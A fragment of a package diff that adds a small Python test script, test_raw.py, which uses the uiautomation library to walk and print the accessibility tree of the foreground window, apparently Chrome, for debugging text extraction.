Write-Output "ERROR: $($_.Exception.Message)"
|
|
59
|
+
}
|
package/bin/test_raw.py
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
import sys
|
|
2
|
+
import uiautomation as auto
|
|
3
|
+
import time
|
|
4
|
+
|
|
5
|
+
def test_extract():
|
|
6
|
+
auto.uiautomation.DEBUG_SEARCH_TIME = False
|
|
7
|
+
auto.uiautomation.SET_TEXT_WAIT_TIME = 0.1
|
|
8
|
+
|
|
9
|
+
time.sleep(2) # Give user time to focus chrome
|
|
10
|
+
|
|
11
|
+
hwnd = auto.GetForegroundWindow()
|
|
12
|
+
root = auto.ControlFromHandle(hwnd)
|
|
13
|
+
|
|
14
|
+
print(f"Hooked to: {root.Name}")
|
|
15
|
+
|
|
16
|
+
# Use RawTreeWalker
|
|
17
|
+
walker = auto.uiautomation.IUIAutomationTreeWalker(auto.uiautomation.uiautomation.IUIAutomation.RawViewWalker)
|
|
18
|
+
|
|
19
|
+
def walk_raw(element, depth=0):
|
|
20
|
+
if depth > 20: return
|
|
21
|
+
try:
|
|
22
|
+
name = element.CurrentName
|
|
23
|
+
print(" " * depth + f"{element.CurrentControlType} : {name}")
|
|
24
|
+
|
|
25
|
+
child = walker.GetFirstChildElement(element)
|
|
26
|
+
while child:
|
|
27
|
+
walk_raw(child, depth + 1)
|
|
28
|
+
child = walker.GetNextSiblingElement(child)
|
|
29
|
+
except Exception as e:
|
|
30
|
+
pass
|
|
31
|
+
|
|
32
|
+
walk_raw(root.Element)
|
|
33
|
+
|
|
34
|
+
if __name__ == "__main__":
|
|
35
|
+
test_extract()
|
|
Binary file
|